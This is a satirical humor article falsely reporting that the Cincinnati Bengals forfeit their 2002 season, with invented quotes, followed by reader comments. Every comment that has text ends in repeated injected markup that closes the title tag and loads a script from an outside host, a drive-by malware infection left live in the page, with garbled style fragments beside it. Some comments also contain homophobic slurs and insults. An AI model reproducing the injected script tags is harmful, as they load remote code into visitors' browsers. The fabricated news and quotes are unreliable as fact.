Smooth Operator - Cincinnati Bengals forfeit rest of Season

Cincinnati Bengals forfeit rest of Season

by Kris on 10/30/2002 (28)

We bring to you, your 2003 Cincinnati Bengals!

The Cincinnati Bengals are not in a good position thus far this NFL season despite high hoping of improving over their lackluster performance last season. After dropping their first seven games, the Bengals are off to their worst start since 1932 when they not only lost their first seven games but also six scrimmage games with a local high school team and were publicly humiliated in what now is simply known as the "Cow Sex Debacle". This current losing streak seems to be the prime reason sited for the recent announcement that the Bengals would be forfeiting the rest of the current NFL season to retool and prepare for the 2003 NFL season.

"Coming into this season, I knew we needed some work," commented Bengals head coach Dick LeBeau, "But I had no idea we were this bad. We couldn't buy a win. Seriously, we tried. We gave the Titans a huge bag of money and they still wouldn't let us get a win. After that, we came to the consensus that rather than putting the team and the city of Cincinnati through the embarrassment of an 0 and 16 season, we would just call it quits now and prepare for the next season."

We feel that this stock photograph sums up the 2003 Cincinnati Bengals pretty well.

While this move may seem drastic, it is not unheard of. In 1904, the big band "Your Mom" canceled three shows while they searched for a replacement baritone player after their original baritone player left under allegations of being a huge dork. While the music of "Your Mom" never really caught on, the entire band agreed that the new baritone player was far less of a dork than the old one. Years later in 1978, the short lived Major League Baseball expansion team Alabama "Satan's Left Nuts" actually removed themselves from baseball altogether after a 143 to 0 loss to the New York Yankees and went on to become the greatest rock band of all time. It seems that the Bengals are simply trying to hop on this bandwagon of success that has worked so often in the past. Unfortunately, not all Bengal players seem to see it this way.

"It's really disheartening to see things happen this way," says Bengal's quarterback Jon Kitna. "We had a tough loss last week, but personally and as a team, I feel we made great strides and are on the verge of winning a few games."

"He's wrong," commented LeBeau when told of Kitna's comments. "I've seen the tapes of the other teams out there. There is no chance in hell that we will win a game this season. In fact, I'm somewhat doubtful that we could win a game next season either. We should come to a decision within the next month as to whether we want to cancel the 2003 season as well."

"Hey everybody, look at me, I'm Randy Moss! I'm a professional football player which gives me the right to be a huge jackass and run over traffic cops!"

"I totally agree with the decision," commented Pro Bowl running back Corey Dillon. "Coach (LeBeau) knows what he's doing. He's been nothing short of instrumental in the success we have experienced this season and I totally can see where he is coming from. The Bengals are like th

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1. by Fozzy on 3/1/2007 4:52:29 PM

yeah, they suck. the bears could beat them. thats how bad they suck. Suck!n </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

2. by time on 3/1/2007 4:52:29 PM

lol randy moss sounds like a jerk lol </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

3. by jeff on 3/1/2007 4:52:29 PM

what the hell is this artical talking about the bengals aren't forfeting the rest of the year not that they are doing good but forfeting is abounch of shit go to the web site they haven't said shit about quiting </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Darkwolf on 3/1/2007 4:52:29 PM

"what the hell is this artical talking about the bengals aren't forfeting the rest of the year not that they are doing good but forfeting is abounch of shit go to the web site they haven't said shit about quiting"-jeff, random stupid Bengals fan Hahahahah! Best article yet, Kris!n.ru/ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by Fozzy on 3/1/2007 4:52:29 PM

God, you are stupid Jeff. :D"0" sty </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

6. by Kris on 3/1/2007 4:52:29 PM

The Bengals won now, didn't they? They must have been motivated by this very article... nothing else, just this article </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

7. by Mr. Man on 3/1/2007 4:52:29 PM

The Bengals suck and this article was funny as f***! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

8. by Kris on 3/1/2007 4:52:29 PM

> The Bengals suck and this article was funny as f***! Yes... and yes. Glad you all like it. src="h </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

9. by McLeod on 3/1/2007 4:52:29 PM

Hilarious! Awesome! That-word-that-describes-something-like-this!g </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

10. by Jandor on 3/1/2007 4:52:29 PM

this artical is great, even my high school team football team could beat them even though they suck just as bad, well maybe it would be a close game overall but we would still win, even a bunch of kids could be the bengalsisplay:none </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

11. by Dan Matiyu on 3/1/2007 4:52:29 PM

The wild cougers(Bengals) are going to the playoffs in 2003!!!go.p </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

12. by kyle middendorf on 3/1/2007 4:52:29 PM

hah u must feel pretty gay kris cause bengals r winning and goin to the playoffs.1st place bengals.u also r gay because u get it up the ass by ur dad.HAHAHAHAHAHAHAHA bitch. love kyleuil </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

13. by on 3/1/2007 4:52:29 PM

fucku u faget1isplay:no </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

14. by on 3/1/2007 4:52:29 PM

15. by Ben on 3/1/2007 4:52:29 PM

its sad when a team gets so happy over a subpar record.?sid= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

16. by A on 3/1/2007 4:52:29 PM

Bengals RULE THE HOUSE!!!!!"0" styl </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

17. by a on 3/1/2007 4:52:29 PM

the bengals rock the house with all there sucky plays?sid=1" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

18. by a on 3/1/2007 4:52:29 PM

the bengals rock the house with all there sucky plays , yeah </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

19. by j on 3/1/2007 4:52:29 PM

you are so right brother"0" style=" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

20. by a on 3/1/2007 4:52:29 PM

i know. i am so small that i make a oppalopa look like a gaint.go. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

21. by bt on 3/1/2007 4:52:29 PM

No way. THEY ARE GOING TO THE SUPER BOWL THIS YEAR BABY! And no steelers ARE GOING TO STOP THEM!!! THEY ROCK!!!!!isplay:none"></ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

22. by j p on 3/1/2007 4:52:29 PM

patriots rule. just throwing it out there the bengals will never go to the super bowln </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

23. by gt on 3/1/2007 4:52:29 PM

I am with you bt, THEY ARE"0" style </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

24. by george on 3/1/2007 4:52:29 PM

YEAH THEY AREisplay:non </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

25. by bengals on 3/1/2007 4:52:29 PM

THEY ARE NOT GAY PATS + STEELERS ARE GAY </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

26. by dad on 3/1/2007 4:52:29 PM

yeah brother bengal they rock"0" st </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

27. by s on 3/1/2007 4:52:29 PM

I LOVE THE BENGALSispla </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

28. by ANT on 3/1/2007 4:52:29 PM

All other teams r scared of bengals nowi </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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